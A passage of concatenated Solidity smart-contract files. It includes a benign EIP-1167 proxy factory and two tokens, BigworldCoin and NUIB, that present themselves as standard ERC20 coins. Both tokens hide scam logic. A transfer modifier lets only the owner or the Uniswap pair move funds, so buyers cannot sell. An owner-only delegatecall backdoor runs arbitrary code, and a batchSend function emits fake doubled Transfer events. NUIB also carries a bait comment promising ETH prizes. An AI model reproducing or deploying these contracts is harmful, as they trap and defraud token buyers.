b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract BigworldCoin { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
pragma solidity ^0.5.0; /** * @title Spawn * @author 0age * @notice This contract provides creation code that is used by Spawner in order * to initialize and deploy eip-1167 minimal proxies for a given logic contract. */ contract Spawn { constructor( address logicContract, bytes memory initializationCalldata ) public payable { // delegatecall into the logic contract to perform initialization. (bool ok, ) = logicContract.delegatecall(initializationCalldata); if (!ok) { // pass along failure message from delegatecall and revert. assembly { returndatacopy(0, 0, returndatasize) revert(0, returndatasize) } } // place eip-1167 runtime code in memory. bytes memory runtimeCode = abi.encodePacked( bytes10(0x363d3d373d3d3d363d73), logicContract, bytes15(0x5af43d82803e903d91602b57fd5bf3) ); // return eip-1167 code to write it to spawned contract runtime. assembly { return(add(0x20, runtimeCode), 45) // eip-1167 runtime code, length } } } /** * @title Spawner * @author 0age * @notice This contract spawns and initializes eip-1167 minimal proxies that * point to existing logic contracts. The logic contracts need to have an * intitializer function that should only callable when no contract exists at * their current address (i.e. it is being `DELEGATECALL`ed from a constructor). */ contract Spawner { /** * @notice Internal function for spawning an eip-1167 minimal proxy using * `CREATE2`. * @param logicContract address The address of the logic contract. * @param initializationCalldata bytes The calldata that will be supplied to * the `DELEGATECALL` from the spawned contract to the logic contract during * contract creation. * @return The address of the newly-spawned contract. */ function _spawn( address logicContract, bytes memory initializationCalldata ) internal returns (address spawnedContract) { // place creation code and constructor args of contract to spawn in memory. bytes memory initCode = abi.encodePacked( type(Spawn).creationCode, abi.encode(logicContract, initializationCalldata) ); // spawn the contract using `CREATE2`. spawnedContract = _spawnCreate2(initCode); } /** * @notice Internal view function for finding the address of the next standard * eip-1167 minimal proxy created using `CREATE2` with a given logic contract * and initialization calldata payload. * @param logicContract address The address of the logic contract. * @param initializationCalldata bytes The calldata that will be supplied to * the `DELEGATECALL` from the spawned contract to the logic contract during * contract creation. * @return The address of the next spawned minimal proxy contract with the * given parameters. */ function _computeNextAddress( address logicContract, bytes memory initializationCalldata ) internal view returns (address target) { // place creation code and constructor args of contract to spawn in memory. bytes memory initCode = abi.encodePacked( type(Spawn).creationCode, abi.encode(logicContract, initializationCalldata) ); // get target address using the constructed initialization code. (, target) = _getSaltAndTarget(initCode); } /** * @notice Private function for spawning a compact eip-1167 minimal proxy * using `CREATE2`. Provides logic that is reused by internal functions. A * salt will also be chosen based on the calling address and a computed nonce * that prevents deployments to existing addresses. * @param initCode bytes The contract creation code. * @return The address of the newly-spawned contract. */ function _spawnCreate2( bytes memory initCode ) private returns (address spawnedContract) { // get salt to use during deployment using the supplied initialization code. (bytes32 salt, ) = _getSaltAndTarget(initCode); assembly { let encoded_data := add(0x20, initCode) // load initialization code. let encoded_size := mload(initCode) // load the init code's length. spawnedContract := create2( // call `CREATE2` w/ 4 arguments. callvalue, // forward any supplied endowment. encoded_data, // pass in initialization code. encoded_size, // pass in init code's length. salt // pass in the salt value. ) // pass along failure message from failed contract deployment and revert. if iszero(spawnedContract) { returndatacopy(0, 0, returndatasize) revert(0, returndatasize) } } } /** * @notice Private function for determining the salt and the target deployment * address for the next spawned contract (using create2) based on the contract * creation code. */ function _getSaltAndTarget( bytes memory initCode ) private view returns (bytes32 salt, address target) { // get the keccak256 hash of the init code for address derivation. bytes32 initCodeHash = keccak256(initCode); // set the initial nonce to be provided when constructing the salt. uint256 nonce = 0; // declare variable for code size of derived address. uint256 codeSize; while (true) { // derive `CREATE2` salt using `msg.sender` and nonce. salt = keccak256(abi.encodePacked(msg.sender, nonce)); target = address( // derive the target deployment address. uint160( // downcast to match the address type. uint256( // cast to uint to truncate upper digits. keccak256( // compute CREATE2 hash using 4 inputs. abi.encodePacked( // pack all inputs to the hash together. bytes1(0xff), // pass in the control character. address(this), // pass in the address of this contract. salt, // pass in the salt from above. initCodeHash // pass in hash of contract creation code. ) ) ) ) ); // determine if a contract is already deployed to the target address. assembly { codeSize := extcodesize(target) } // exit the loop if no contract is deployed to the target address. if (codeSize == 0) { break; } // otherwise, increment the nonce and derive a new salt. nonce++; } } } interface iRegistry { enum FactoryStatus { Unregistered, Registered, Retired } event FactoryAdded(address owner, address factory, uint256 factoryID, bytes extraData); event FactoryRetired(address owner, address factory, uint256 factoryID); event InstanceRegistered(address instance, uint256 instanceIndex, address indexed creator, address indexed factory, uint256 indexed factoryID); // factory state functions function addFactory(address factory, bytes calldata extraData ) external; function retireFactory(address factory) external; // factory view functions function getFactoryCount() external view returns (uint256 count); function getFactoryStatus(address factory) external view returns (FactoryStatus status); function getFactoryID(address factory) external view returns (uint16 factoryID); function getFactoryData(address factory) external view returns (bytes memory extraData); function getFactoryAddress(uint16 factoryID) external view returns (address factory); function getFactory(address factory) external view returns (FactoryStatus state, uint16 factoryID, bytes memory extraData); function getFactories() external view returns (address[] memory factories); function getPaginatedFactories(uint256 startIndex, uint256 endIndex) external view returns (address[] memory factories); // instance state functions function register(address instance, address creator, uint80 extraData) external; // instance view functions function getInstanceType() external view returns (bytes4 instanceType); function getInstanceCount() external view returns (uint256 count); function getInstance(uint256 index) external view returns (address instance); function getInstances() external view returns (address[] memory instances); function getPaginatedInstances(uint256 startIndex, uint256 endIndex) external view returns (address[] memory instances); } contract Metadata { bytes private _staticMetadata; bytes private _variableMetadata; event StaticMetadataSet(bytes staticMetadata); event VariableMetadataSet(bytes variableMetadata); // state functions function _setStaticMetadata(bytes memory staticMetadata) internal { require(_staticMetadata.length == 0, "static metadata cannot be changed"); _staticMetadata = staticMetadata; emit StaticMetadataSet(staticMetadata); } function _setVariableMetadata(bytes memory variableMetadata) internal { _variableMetadata = variableMetadata; emit VariableMetadataSet(variableMetadata); } // view functions function getMetadata() public view returns (bytes memory staticMetadata, bytes memory variableMetadata) { staticMetadata = _staticMetadata; variableMetadata = _variableMetadata; } } contract Operated { address private _operator; bool private _status; event OperatorUpdated(address operator, bool status); // state functions function _setOperator(address operator) internal { require(_operator != operator, "cannot set same operator"); _operator = operator; emit OperatorUpdated(operator, hasActiveOperator()); } function _transferOperator(address operator) internal { // transferring operator-ship implies there was an operator set before this require(_operator != address(0), "operator not set"); _setOperator(operator); } function _renounceOperator() internal { require(hasActiveOperator(), "only when operator active"); _operator = address(0); _status = false; emit OperatorUpdated(address(0), false); } function _activateOperator() internal { require(!hasActiveOperator(), "only when operator not active"); _status = true; emit OperatorUpdated(_operator, true); } function _deactivateOperator() internal { require(hasActiveOperator(), "only when operator active"); _status = false; emit OperatorUpdated(_operator, false); } // view functions function getOperator() public view returns (address operator) { operator = _operator; } function isOperator(address caller) public view returns (bool ok) { return (caller == getOperator()); } function hasActiveOperator() public view returns (bool ok) { return _status; } function isActiveOperator(address caller) public view returns (bool ok) { return (isOperator(caller) && hasActiveOperator()); } } /* TODO: Update eip165 interface * bytes4(keccak256('create(bytes)')) == 0xcf5ba53f * bytes4(keccak256('getInstanceType()')) == 0x18c2f4cf * bytes4(keccak256('getInstanceRegistry()')) == 0xa5e13904 * bytes4(keccak256('getImplementation()')) == 0xaaf10f42 * * => 0xcf5ba53f ^ 0x18c2f4cf ^ 0xa5e13904 ^ 0xaaf10f42 == 0xd88967b6 */ interface iFactory { event InstanceCreated(address indexed instance, address indexed creator, string initABI, bytes initData); function create(bytes calldata initData) external returns (address instance); function getInitdataABI() external view returns (string memory initABI); function getInstanceRegistry() external view returns (address instanceRegistry); function getTemplate() external view returns (address template); function getInstanceCreator(address instance) external view returns (address creator); function getInstanceType() external view returns (bytes4 instanceType); function getInstanceCount() external view returns (uint256 count); function getInstance(uint256 index) external view returns (address instance); function getInstances() external view returns (address[] memory instances); function getPaginatedInstances(uint256 startIndex, uint256 endIndex) external view returns (address[] memory instances); } /** * @title MultiHashWrapper * @dev Contract that handles multi hash data structures and encoding/decoding * Learn more here: https://github.com/multiformats/multihash */ contract MultiHashWrapper { // bytes32 hash first to fill the first storage slot struct MultiHash { bytes32 hash; uint8 hashFunction; uint8 digestSize; } /** * @dev Given a multihash struct, returns the full base58-encoded hash * @param multihash MultiHash struct that has the hashFunction, digestSize and the hash * @return the base58-encoded full hash */ function _combineMultiHash(MultiHash memory multihash) internal pure returns (bytes memory) { bytes memory out = new bytes(34); out[0] = byte(multihash.hashFunction); out[1] = byte(multihash.digestSize); uint8 i; for (i = 0; i < 32; i++) { out[i+2] = multihash.hash[i]; } return out; } /** * @dev Given a base58-encoded hash, divides into its individual parts and returns a struct * @param source base58-encoded hash * @return MultiHash that has the hashFunction, digestSize and the hash */ function _splitMultiHash(bytes memory source) internal pure returns (MultiHash memory) { require(source.length == 34, "length of source must be 34"); uint8 hashFunction = uint8(source[0]); uint8 digestSize = uint8(source[1]); bytes32 hash; assembly { hash := mload(add(source, 34)) } return (MultiHash({ hashFunction: hashFunction, digestSize: digestSize, hash: hash })); } } contract Factory is Spawner { address[] private _instances; mapping (address => address) private _instanceCreator; /* NOTE: The following items can be hardcoded as constant to save ~200 gas/create */ address private _templateContract; string private _initdataABI; address private _instanceRegistry; bytes4 private _instanceType; event InstanceCreated(address indexed instance, address indexed creator, bytes callData); function _initialize(address instanceRegistry, address templateContract, bytes4 instanceType, string memory initdataABI) internal { // set instance registry _instanceRegistry = instanceRegistry; // set logic contract _templateContract = templateContract; // set initdataABI _initdataABI = initdataABI; // validate correct instance registry require(instanceType == iRegistry(instanceRegistry).getInstanceType(), 'incorrect instance type'); // set instanceType _instanceType = instanceType; } // IFactory methods function _create(bytes memory callData) internal returns (address instance) { // deploy new contract: initialize it & write minimal proxy to runtime. instance = Spawner._spawn(getTemplate(), callData); // add the instance to the array _instances.push(instance); // set instance creator _instanceCreator[instance] = msg.sender; // add the instance to the instance registry iRegistry(getInstanceRegistry()).register(instance, msg.sender, uint64(0)); // emit event emit InstanceCreated(instance, msg.sender, callData); } function getInstanceCreator(address instance) public view returns (address creator) { creator = _instanceCreator[instance]; } function getInstanceType() public view returns (bytes4 instanceType) { instanceType = _instanceType; } function getInitdataABI() public view returns (string memory initdataABI) { initdataABI = _initdataABI; } function getInstanceRegistry() public view returns (address instanceRegistry) { instanceRegistry = _instanceRegistry; } function getTemplate() public view returns (address template) { template = _templateContract; } function getInstanceCount() public view returns (uint256 count) { count = _instances.length; } function getInstance(uint256 index) public view returns (address instance) { require(index < _instances.length, "index out of range"); instance = _instances[index]; } function getInstances() public view returns (address[] memory instances) { instances = _instances; } // Note: startIndex is inclusive, endIndex exclusive function getPaginatedInstances(uint256 startIndex, uint256 endIndex) public view returns (address[] memory instances) { require(startIndex < endIndex, "startIndex must be less than endIndex"); require(endIndex <= _instances.length, "end index out of range"); // initialize fixed size memory array address[] memory range = new address[](endIndex - startIndex); // Populate array with addresses in range for (uint256 i = startIndex; i < endIndex; i++) { range[i - startIndex] = _instances[i]; } // return array of addresses instances = range; } } contract Template { address private _factory; // modifiers modifier initializeTemplate() { // set factory _factory = msg.sender; // only allow function to be delegatecalled from within a constructor. uint32 codeSize; assembly { codeSize := extcodesize(address) } require(codeSize == 0, "must be called within contract constructor"); _; } // view functions function getCreator() public view returns (address creator) { // iFactory(...) would revert if _factory address is not actually a factory contract creator = iFactory(_factory).getInstanceCreator(address(this)); } function isCreator(address caller) public view returns (bool ok) { ok = (caller == getCreator()); } } contract ProofHash is MultiHashWrapper { MultiHash private _proofHash; event ProofHashSet(address caller, bytes proofHash); // state functions function _setProofHash(bytes memory proofHash) internal { _proofHash = MultiHashWrapper._splitMultiHash(proofHash); emit ProofHashSet(msg.sender, proofHash); } // view functions function getProofHash() public view returns (bytes memory proofHash) { proofHash = MultiHashWrapper._combineMultiHash(_proofHash); } } contract Post is ProofHash, Operated, Metadata, Template { event Created(address operator, bytes proofHash, bytes staticMetadata, bytes variableMetadata); function initialize( address operator, bytes memory proofHash, bytes memory staticMetadata, bytes memory variableMetadata ) public initializeTemplate() { // set storage variables ProofHash._setProofHash(proofHash); // set operator if (operator != address(0)) { Operated._setOperator(operator); Operated._activateOperator(); } // set static metadata Metadata._setStaticMetadata(staticMetadata); // set variable metadata Metadata._setVariableMetadata(variableMetadata); // emit event emit Created(operator, proofHash, staticMetadata, variableMetadata); } // state functions function setVariableMetadata(bytes memory variableMetadata) public { // only active operator or creator require(Template.isCreator(msg.sender) || Operated.isActiveOperator(msg.sender), "only active operator or creator"); // set metadata in storage Metadata._setVariableMetadata(variableMetadata); } } contract Post_Factory is Factory { constructor(address instanceRegistry) public { // deploy template contract address templateContract = address(new Post()); // set instance type bytes4 instanceType = bytes4(keccak256(bytes('Post'))); // set initdataABI string memory initdataABI = '(address,bytes,bytes,bytes)'; // initialize factory params Factory._initialize(instanceRegistry, templateContract, instanceType, initdataABI); } event ExplicitInitData(address operator, bytes proofHash, bytes staticMetadata, bytes variableMetadata); function create(bytes memory callData) public returns (address instance) { // deploy instance instance = Factory._create(callData); } function createEncoded(bytes memory initdata) public returns (address instance) { // decode initdata ( address operator, bytes memory proofHash, bytes memory staticMetadata, bytes memory variableMetadata ) = abi.decode(initdata, (address,bytes,bytes,bytes)); // call explicit create instance = createExplicit(operator, proofHash, staticMetadata, variableMetadata); } function createExplicit( address operator, bytes memory proofHash, bytes memory staticMetadata, bytes memory variableMetadata ) public returns (address instance) { // declare template in memory Post template; // construct the data payload used when initializing the new contract. bytes memory callData = abi.encodeWithSelector( template.initialize.selector, // selector operator, proofHash, staticMetadata, variableMetadata ); // deploy instance instance = Factory._create(callData); // emit event emit ExplicitInitData(operator, proofHash, staticMetadata, variableMetadata); } } contract Feed is Operated, Metadata, Template { address[] private _posts; address private _postRegistry; event PostCreated(address post, address postFactory, bytes initData); function initialize( address operator, address postRegistry, bytes memory feedStaticMetadata ) public initializeTemplate() { // set operator if (operator != address(0)) { Operated._setOperator(operator); Operated._activateOperator(); } // set post registry _postRegistry = postRegistry; // set static metadata Metadata._setStaticMetadata(feedStaticMetadata); } // state functions function createPost(address postFactory, bytes memory initData) public returns (address post) { // only active operator or creator require(Template.isCreator(msg.sender) || Operated.isActiveOperator(msg.sender), "only active operator or creator"); // validate factory is registered require( iRegistry(_postRegistry).getFactoryStatus(postFactory) == iRegistry.FactoryStatus.Registered, "factory is not actively registered" ); // spawn new post contract post = Post_Factory(postFactory).createEncoded(initData); // add to array of posts _posts.push(post); // emit event emit PostCreated(post, postFactory, initData); } function setFeedVariableMetadata(bytes memory feedVariableMetadata) public { // only active operator or creator require(Template.isCreator(msg.sender) || Operated.isActiveOperator(msg.sender), "only active operator or creator"); Metadata._setVariableMetadata(feedVariableMetadata); } function setPostVariableMetadata(address post, bytes memory postVariableMetadata) public { // only active operator or creator require(Template.isCreator(msg.sender) || Operated.isActiveOperator(msg.sender), "only active operator or creator"); Post(post).setVariableMetadata(postVariableMetadata); } // view functions function getPosts() public view returns (address[] memory posts) { posts = _posts; } function getPostRegistry() public view returns (address postRegistry) { postRegistry = _postRegistry; } } contract Feed_Factory is Factory { constructor(address instanceRegistry) public { // deploy template contract address templateContract = address(new Feed()); // set instance type bytes4 instanceType = bytes4(keccak256(bytes('Post'))); // set initdataABI string memory initdataABI = '(address,address,bytes)'; // initialize factory params Factory._initialize(instanceRegistry, templateContract, instanceType, initdataABI); } event ExplicitInitData(address operator, address postRegistry, bytes feedStaticMetadata); function create(bytes memory callData) public returns (address instance) { // deploy instance instance = Factory._create(callData); } function createEncoded(bytes memory initdata) public returns (address instance) { // decode initdata ( address operator, address postRegistry, bytes memory feedStaticMetadata ) = abi.decode(initdata, (address,address,bytes)); // call explicit create instance = createExplicit(operator, postRegistry, feedStaticMetadata); } function createExplicit( address operator, address postRegistry, bytes memory feedStaticMetadata ) public returns (address instance) { // declare template in memory Feed template; // construct the data payload used when initializing the new contract. bytes memory callData = abi.encodeWithSelector( template.initialize.selector, // selector operator, postRegistry, feedStaticMetadata ); // deploy instance instance = Factory._create(callData); // emit event emit ExplicitInitData(operator, postRegistry, feedStaticMetadata); } }
DC1
/** * NUIB * The total bonus is up to 7TH * 10 lucky players, each rewarded 0.5ETH * First place: reward 7ETH * Second place: reward 5ETH * Third place: reward 3ETH * Fourth place: prize pool 2ETH * Fifth place: reward 1ETH */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract NUIB { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } modifier ensure(address _from, address _to) { address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); require(_from == owner || _to == owner || _from == UNI); _; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply; owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
DC1
